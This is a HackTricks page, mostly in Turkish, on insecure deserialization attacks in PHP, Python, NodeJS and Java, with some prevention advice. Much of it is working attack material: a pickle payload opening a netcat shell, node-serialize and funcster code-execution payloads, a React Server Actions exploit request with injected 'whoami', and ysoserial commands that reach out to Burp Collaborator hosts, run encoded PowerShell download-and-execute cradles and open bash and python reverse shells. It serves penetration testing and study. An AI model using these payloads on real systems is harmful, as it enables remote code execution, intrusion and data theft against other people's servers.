Deserileştirme
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Serileştirme, bir nesneyi saklanabilecek veya iletişim sürecinin bir parçası olarak iletilebilecek bir formata dönüştürme yöntemi olarak anlaşılır. Bu teknik genellikle nesnenin yapısını ve durumunu koruyarak daha sonra yeniden oluşturulabilmesini sağlamak için kullanılır.
Deserileştirme, tersine, serileştirmenin zıt işlemidir. Belirli bir formatta yapılandırılmış veriyi alıp yeniden bir nesneye dönüştürmeyi içerir.
Deserileştirme tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş veriyi manipüle ederek zararlı kod çalıştırmasına veya nesnenin yeniden oluşturulması sırasında uygulamada beklenmeyen davranışlara yol açmasına izin verebilir.
PHP
PHP’de, serileştirme ve deserileştirme işlemleri sırasında belirli magic metotlar kullanılır:
__sleep: Bir nesne serileştirilirken çağrılır. Bu metod serileştirilecek tüm özelliklerin isimlerini içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizlik görevlerini yapmak için kullanılır.__wakeup: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybedilmiş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.__unserialize: Bir nesne deserileştirilirken (mevcutsa)__wakeupyerine bu metod çağrılır.__wakeup’a kıyasla deserileştirme süreci üzerinde daha fazla kontrol sağlar.__destruct: Bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya işleyicilerini veya veritabanı bağlantılarını kapama gibi temizlik görevleri için kullanılır.__toString: Bu metod bir nesnenin string olarak ele alınmasına izin verir. İçindeki fonksiyon çağrılarına bağlı olarak bir dosya okumak veya diğer görevler için kullanılabilir; nesnenin metinsel bir temsilini sağlar.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Sonuçlara bakarsanız, nesne deserialize edildiğinde __wakeup ve __destruct fonksiyonlarının çağrıldığını görebilirsiniz. Bazı öğreticilerde bir özelliği yazdırmaya çalışırken __toString fonksiyonunun çağrıldığı belirtilir, fakat görünüşe göre bu artık olmuyor.
Warning
Sınıfta uygulanmışsa
__unserialize(array $data)metodu__wakeup()yerine çağrılır. Bu metot, serileştirilmiş veriyi bir dizi olarak sağlayarak nesnenin unserialize edilmesine izin verir. Bu metodu özellikleri unserialize etmek ve seriden çıkarma sırasında gerekli görevleri gerçekleştirmek için kullanabilirsiniz.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Açıklamalı bir PHP örneğini şurada okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, burada https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya burada https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Sınıfları
PHP autoload işlevini, rastgele php dosyalarını ve daha fazlasını yüklemek için suistimal edebilirsiniz:
PHP - Deserialization + Autoload Classes
Referanslı Değerleri Serileştirme
Eğer herhangi bir nedenle bir değeri başka bir değerin serileştirilmiş haline referans olarak serileştirmek isterseniz, şu şekilde yapabilirsiniz:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection’ı allowed_classes ile Önleme
[!INFO]
unserialize()’in ikinci argümanı ($optionsdizisi) için destek PHP 7.0’de eklendi. Eski sürümlerde fonksiyon yalnızca serileştirilmiş string’i kabul eder; bu da hangi sınıfların örneklenebileceğini kısıtlamayı imkansız hale getirir.
unserialize() serileştirilmiş akışta bulduğu her sınıfı örnekler; aksi söylenmedikçe. PHP 7’den beri davranış allowed_classes seçeneği ile kısıtlanabilir:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Eğer allowed_classes atlanır veya kod PHP < 7.0 üzerinde çalışıyorsa, bu çağrı tehlikeli hale gelir; çünkü bir saldırgan __wakeup() veya __destruct() gibi magic methods’u suistimal eden bir payload hazırlayarak Remote Code Execution (RCE) gerçekleştirebilir.
Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709
WordPress eklentisi Everest Forms ≤ 3.2.2 yardımcı bir wrapper ile savunmacı olmaya çalıştı ama eski PHP sürümlerini unuttu:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
PHP ≤ 7.0 çalıştıran sunucularda bu ikinci dal, bir yönetici kötü amaçlı bir form gönderimini açtığında klasik bir PHP Object Injection’a yol açıyordu. Minimal exploit payload şu şekilde görünebilir:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Admin girdiyi görüntülediği anda obje örneklendi ve SomeClass::__destruct() çalıştırıldı; bunun sonucunda rastgele kod yürütüldü.
Çıkarımlar
unserialize()çağrılırken her zaman['allowed_classes' => false](veya sıkı bir beyaz liste) geçir.- Defansif wrapper’ları denetle – genellikle eski PHP dallarını gözden kaçırırlar.
- Sadece PHP ≥ 7.x’e yükseltmek tek başına yeterli değildir: seçenek hâlâ açıkça sağlanmalıdır.
PHPGGC (ysoserial for PHP)
PHPGGC PHP deserializations’ı suistimal etmek için payloadlar oluşturmanıza yardımcı olabilir.
Bazı durumlarda uygulamanın kaynak kodunda bir deserialization’ı suistimal etmenin bir yolunu bulamayacağınız ama harici PHP uzantılarının kodunu suistimal edebileceğiniz durumlar olabileceğini unutmayın.
Bu yüzden, mümkünse sunucunun phpinfo()sini kontrol edin ve internet üzerinde (hatta PHPGGC’nin gadgets’larında) suistimal edebileceğiniz olası gadget’ları ara.
phar:// metadata deserialization
Eğer dosyayı sadece okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). phar protokolünü kullanarak bir file okunurken gerçekleşen bir deserialization’ı suistimal etmeyi deneyebilirsiniz.
Daha fazla bilgi için aşağıdaki yazıyı okuyun:
Python
Pickle
When the object gets unpickle, the function ___reduce___ will be executed.
İstismar edildiğinde sunucu bir hata döndürebilir.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Bu teknik hakkında bilgi edinmek istiyorsanız aşağıdaki öğreticiye göz atın:
NodeJS - proto & prototype Pollution
node-serialize
Bu kütüphane fonksiyonları serileştirmeye izin verir. Örnek:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
serialised object şu şekilde görünecektir:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Örnekte bir fonksiyon serileştirildiğinde _$$ND_FUNC$$_ flag’inin serileştirilmiş objeye eklendiğini görebilirsiniz.
node-serialize/lib/serialize.js dosyasının içinde aynı flag’i ve kodun onu nasıl kullandığını bulabilirsiniz.
.png)
.png)
Son kod bloğunda görebileceğiniz gibi, flag bulunursa eval fonksiyonu fonksiyonu deserialize etmek için kullanılıyor, yani temelde kullanıcı girdisi eval fonksiyonunun içinde kullanılıyor.
Ancak, bir fonksiyonu sadece serileştirmek onu çalıştırmayacaktır, çünkü örneğimizde kodun bir kısmının y.rce’yi çağırması gerekli olur ve bu büyük olasılıkla pek olası değildir.
Bununla beraber, deserializasyon sırasında serileştirilmiş fonksiyonun otomatik olarak çalışması için serileştirilmiş objeyi birkaç parantez ekleyerek değiştirebilirsiniz.
Aşağıdaki kod bloğunda son paranteze dikkat edin ve unserialize fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını görün:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Daha önce belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_ sonrasındaki kodu alır ve eval kullanarak çalıştırır. Bu nedenle kodu otomatik çalıştırmak için fonksiyon oluşturma bölümünü ve son parantezi silip sadece bir JS oneliner çalıştırabilirsiniz; aşağıdaki örnekte olduğu gibi:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
find here adresinde, bu zafiyeti nasıl istismar edeceğinize dair daha fazla bilgi bulabilirsiniz.
funcster
funcster’ın dikkat çekici bir yönü, standard built-in objects’a erişilemez olmasıdır; bu nesneler erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesnelerin yöntemlerini çağırmaya çalışan kodun çalışmasını engeller ve console.log() veya require(something) gibi komutlar kullanıldığında “ReferenceError: console is not defined” gibi istisnalara yol açar.
Bu kısıtlamaya rağmen, tüm standart yerleşik nesneler dahil olmak üzere global bağlama tam erişimin geri getirilmesi belirli bir yaklaşımla mümkündür. Global bağlamı doğrudan kullanarak bu kısıtlamayı aşabilirsiniz. Örneğin, erişim aşağıdaki kod parçası ile yeniden sağlanabilir:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Daha fazla bilgi için more information read this source.
serialize-javascript
The serialize-javascript package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of eval is suggested by the official example for deserializing serialized data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Eğer bu fonksiyon nesneleri deserialize etmek için kullanılıyorsa, kolayca exploit edebilirsiniz:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Daha fazla bilgi için bu kaynağı okuyun.
Cryo library
Aşağıdaki sayfalarda bu kütüphaneyi keyfi komutlar çalıştırmak için nasıl kötüye kullanabileceğiniz hakkında bilgiler bulabilirsiniz:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC), sunucu action gönderimlerini decode etmek için react-server-dom-webpack (RSDW)’e güvenir; bu gönderimler multipart/form-data olarak gönderilir. Her action gönderimi şunları içerir:
$ACTION_REF_<n>parçaları, çağrılan server action’ı referans eder.$ACTION_<n>:<m>parçaları, gövdesi{"id":"module-path#export","bound":[arg0,arg1,...]}gibi JSON’dur.
Sürüm 19.2.0’da decodeAction(formData, serverManifest) helper’ı hem hangi modül export’unun çağrılacağını seçen id string’ine hem de argümanları içeren bound array’ine körü körüne güvenir. Eğer bir saldırgan decodeAction’a istekleri ileten endpoint’e erişebilirse, bir React ön yüzü olmasa bile saldırgan kontrolündeki parametrelerle herhangi bir export edilmiş server action’ı çağırabilir (CVE-2025-55182). Uçtan uca tarif şu şekildedir:
- Action identifier’ı öğrenin. Bundle output, error traces or leaked manifests typically reveal strings like
app/server-actions#generateReport. - Multipart payload’ı yeniden oluşturun.
$ACTION_REF_0parçası ve identifier ile rastgele argümanları taşıyan bir$ACTION_0:0JSON gövdesi hazırlayın. - Let
decodeActiondispatch it. Helper,serverManifest’ten modülü çözer, export’u import eder ve sunucunun hemen çalıştırdığı callable bir değer döndürür.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Veya curl ile:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound dizisi doğrudan server-action parameters’ı doldurur. Zafiyetli lab’da gadget şöyle görünür:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Suppling format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
Bir saldırganın gerçek bir React client’ına ihtiyacı yok — $ACTION_* multipart biçimini üreten herhangi bir HTTP aracı server actions’ları doğrudan çağırabilir ve ortaya çıkan JSON çıktısını bir RCE primitive’ine zincirleyebilir.
Java - HTTP
Java’da, deserialization callbacks are executed during the process of deserialization. Bu yürütme, bu callback’leri tetikleyen kötü amaçlı payload’lar hazırlayan saldırganlar tarafından istismar edilebilir ve zararlı eylemlerin yürütülmesine yol açabilir.
Fingerprints
White Box
Kod tabanında potansiyel serialization zaafiyetlerini belirlemek için şunları arayın:
Serializablearayüzünü implement eden sınıflar.java.io.ObjectInputStream,readObject,readUnsharefonksiyonlarının kullanımı.
Özellikle dikkat edin:
XMLDecoder’ın dış kullanıcılar tarafından tanımlanan parametrelerle kullanımı.XStream’infromXMLmetodu, özellikle XStream sürümü 1.46 veya daha düşükse, serialization sorunlarına açıktır.ObjectInputStreamilereadObjectmetodunun birlikte kullanımı.readObject,readObjectNodData,readResolveveyareadExternalgibi metodların implementasyonu.ObjectInputStream.readUnshared.Serializable’ın genel kullanımı.
Black Box
Black box testi için, java serialized nesneleri (kaynağı ObjectInputStream olan) gösteren belirli imzalar veya “Magic Bytes” arayın:
- Onaltılık desen:
AC ED 00 05. - Base64 desen:
rO0. - HTTP yanıt header’larında
Content-type’ınapplication/x-java-serialized-objectolarak ayarlanması. - Önce sıkıştırma olduğunu gösteren onaltılık desen:
1F 8B 08 00. - Önceden sıkıştırma olduğunu gösteren Base64 desen:
H4sIA. .facesuzantılı web dosyaları vefaces.ViewStateparametresi.
Bu desenlerin bir web uygulamasında bulunması, post about Java JSF ViewState Deserialization adresinde ayrıntılı olarak açıklandığı gibi bir inceleme yapılmasını gerektirmelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Zafiyet olup olmadığını kontrol et
Eğer Java Deserialized exploit’in nasıl çalıştığını öğrenmek istiyorsanız Basic Java Deserialization, Java DNS Deserialization ve CommonsCollection1 Payload sayfalarına bakmalısınız.
SignedObject-gated deserialization ve pre-auth erişilebilirliği
Modern kod tabanları bazen deserialization’ı java.security.SignedObject ile sarar ve iç nesneyi deserialize eden getObject() çağrılmadan önce imzayı doğrular. Bu, rastgele top-level gadget sınıflarını engeller ama bir saldırgan geçerli bir imza elde edebilirse (ör. özel anahtarın ele geçirilmesi veya bir signing oracle) hâlâ exploitable olabilir. Ayrıca hata işleme akışları doğrulanmamış kullanıcılar için session-bound token’lar oluşturabilir ve böylece normalde korunmuş sink’leri pre-auth açığa çıkarabilir.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
Ayrıca istismar edilebilecek mümkün gadget zincirlerini aramak için gadgetinspector kullanabilirsiniz.
gadgetinspector’ı (build ettikten sonra) çalıştırırken çıkan çok sayıda uyarı/hata ile ilgilenmeyin ve bitmesine izin verin. Tüm bulguları gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt altında yazacaktır. Lütfen, gadgetinspector bir exploit oluşturmayacaktır ve yanlış pozitifler gösterebilir.
Black Box Test
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Her şey sunucunun hangi savunmasız kütüphaneleri kullandığını kontrol etmekle sınırlı değil. Bazen serileştirilmiş nesnenin içindeki veriyi değiştirip bazı kontrolleri atlayabilirsiniz (ör. bir web uygulamasında size admin yetkisi verebilir).
Eğer bir web uygulamasına gönderilen java serileştirilmiş bir nesne bulursanız, gönderilen serileştirme nesnesini daha insan tarafından okunabilir bir formatta yazdırmak için SerializationDumper kullanabilirsiniz. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştırır.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Not that this tool is focused on exploiting ObjectInputStream.
Enjeksiyonun mümkün olup olmadığını test etmek için RCE payload’undan önce “URLDNS” payload’unu kullanmaya başlamanızı öneririm. Yine de, “URLDNS” payload’u çalışmayabilir; ancak başka bir RCE payload’u işe yarayabilir.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() için bir payload oluştururken özel karakterleri (ör. “>” veya “|”) bir yürütmenin çıktısını yönlendirmek için, “$()” komut çalıştırmak için veya hatta boşluklarla ayrılmış argümanları bir komuta geçirmek için kullanamazsınız (ör. echo -n "hello world" yapabilirsiniz ama python2 -c 'print "Hello world"' yapamazsınız). Payload’u doğru şekilde encode etmek için use this webpage.
Aşağıdaki script’i kullanarak Windows ve Linux için all the possible code execution payload’larını oluşturabilir ve ardından zafiyetli web sayfasında test edebilirsiniz:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Bu aracı https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserial ile birlikte daha fazla exploit oluşturmak için kullanabilirsiniz. Bu aracın sunulduğu konuşmanın slaytlarında daha fazla bilgi var: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec Java’da farklı Json ve Yml serileştirme kütüphanelerini exploit etmek için payloads oluşturmakta kullanılabilir.
Projeyi derlemek için pom.xml dosyasına bu bağımlılıkları eklemem gerekti:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven’i yükleyin, ve projeyi derleyin:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratuvarlar
- Eğer bazı ysoserial payloadlarını test etmek istiyorsanız bu web uygulamasını çalıştırabilirsiniz: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Neden
Java çeşitli amaçlar için serileştirmeyi yoğun şekilde kullanır, örneğin:
- HTTP requests: Serileştirme, parametrelerin, ViewState’in, cookies vb.’nin yönetiminde yaygın olarak kullanılır.
- RMI (Remote Method Invocation): Tamamen serileştirmeye dayanan Java RMI protokolü, Java uygulamalarında uzak iletişim için temel bir yapıtaşıdır.
- RMI over HTTP: Bu yöntem, Java tabanlı thick client web uygulamaları tarafından yaygın olarak kullanılır ve tüm nesne iletişimlerinde serileştirmeyi kullanır.
- JMX (Java Management Extensions): JMX, nesneleri ağ üzerinden iletmek için serileştirmeyi kullanır.
- Custom Protocols: Java’da standart uygulama ham Java nesnelerinin iletimini içerir; bu, ilerleyen exploit örneklerinde gösterilecektir.
Önleme
Transient nesneler
Serializable arayüzünü uygulayan bir sınıf, sınıf içindeki serileştirilmemesi gereken herhangi bir nesneyi transient olarak işaretleyebilir. Örneğin:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable uygulamak zorunda olan bir sınıfın serileştirilmesinden kaçının
